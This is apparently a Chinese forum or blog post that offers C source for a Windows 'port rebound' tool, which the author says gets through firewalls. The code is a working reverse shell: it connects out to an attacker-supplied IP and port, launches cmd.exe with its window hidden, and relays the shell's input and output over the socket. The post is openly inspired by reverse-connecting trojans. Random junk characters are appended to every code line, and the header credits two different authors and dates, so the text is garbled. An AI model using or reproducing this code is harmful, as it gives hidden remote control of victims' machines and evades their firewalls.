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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qb$&BZj]|  
DtEvt+h  
/* ============================== y<9' 3\  
Rebound port in Windows NT 8Cx6Me>,=  
By wind,2006/7  lL\%eQ  
===============================*/ >b;o&E`\  
#include 4*0C_F@RX  
#include sA(d_ Yu_  
wak:"B[  
#pragma comment(lib,"wsock32.lib") jm ORKX+)  
?T1vc  
void OutputShell(); q g2 fTe  
SOCKET sClient; og[cwa_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; % _.kd"  
Bm>>-nG;  
void main(int argc,char **argv) rtSG- _[i  
{ d/&W[jJ  
WSADATA stWsaData; a^vTBJXo  
int nRet; iY,Ffu E  
SOCKADDR_IN stSaiClient,stSaiServer; ZA1:Y{ V  
']bw37_U,  
if(argc != 3) ! V^wq]D2  
{ 4 EE7gkM5  
printf("Useage:\n\rRebound DestIP DestPort\n"); Tv[| ^G9x  
return; Tv[h2_+E  
} !eu\ShI  
!{1;wC(b  
WSAStartup(MAKEWORD(2,2),&stWsaData); olv0w ;s  
@k-C>h()C  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s' 4O] k`  
Vi m::  
stSaiClient.sin_family = AF_INET; Rs@>LA  
stSaiClient.sin_port = htons(0); "M;aNi^B  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fEo5j`}  
m{gw:69h  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8P?p  
{ BQ:hUF3  
printf("Bind Socket Failed!\n"); !qu/m B  
return; u<['9U  
} " "@kBY1C  
\<aR^Sj.  
stSaiServer.sin_family = AF_INET; <rihi:4K  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O7"16~ a  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i7XM7 +}  
gbrn'NT  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BHu%x|d  
{ 0f5c#/7C9  
printf("Connect Error!"); %y{'p:  
return; Q2>o+G  
} Nov)'2g7G  
OutputShell(); Cut7  
} \1He9~6  
Y'^+ KU  
void OutputShell() XiL[1JM  
{  ;?G..,  
char szBuff[1024]; /:;"rnvq  
SECURITY_ATTRIBUTES stSecurityAttributes; L9$`zc  
OSVERSIONINFO stOsversionInfo; [xdi.6 %  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |}o6N5)  
STARTUPINFO stStartupInfo; cx ~XG  
char *szShell; ~@\sN+VS  
PROCESS_INFORMATION stProcessInformation; |SfCuV#g/<  
unsigned long lBytesRead; 7_Op(C4,nC  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4aiI&,  
*e25!#o1  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qKD Nw8>  
stSecurityAttributes.lpSecurityDescriptor = 0; b5S4C2Ynq  
stSecurityAttributes.bInheritHandle = TRUE; 9vckQCLM  
g)1`A 24  
sj3[ny;b  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yBRYEqS+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Js<DVe,  
/,,IM/(6^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C"QB`f:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O)!S[5YI  
stStartupInfo.wShowWindow = SW_HIDE; 5c\dm  
stStartupInfo.hStdInput = hReadPipe; `]=0oDG:1!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1)#dgsa  
QuIZpP=  
GetVersionEx(&stOsversionInfo); [X 9zrGHt  
$x*(D|\'<  
switch(stOsversionInfo.dwPlatformId) ?[=OQ/E  
{ X7rsO^}W  
case 1: J(:y-U  
szShell = "command.com"; JRR,ooN*i  
break; F!<!)_8Q  
default: g3 opN>W  
szShell = "cmd.exe"; xpp>5d !  
break; W1&"dT@  
} q#O 8Fv  
9$L2 a  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v,kvLjqt  
v?YxF}  
send(sClient,szMsg,77,0); j}O7fLRu  
while(1) Gl%N}8Cim  
{ twox.@"U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d"tR ?j  
if(lBytesRead) l<;~sag  
{ 6Nws>(Ij  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7]_zWx,r  
send(sClient,szBuff,lBytesRead,0); "r~/E|Da<  
} ffMk.SqI  
else je`Inn<  
{ Ro_jfM  
lBytesRead=recv(sClient,szBuff,1024,0); Z7NR%u_|[  
if(lBytesRead<=0) break; ?=im  ~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B- D&1gO  
} ,h9?o  
} _C)\X(;  
3lTnfc&  
return; &x\cEI)!  
}
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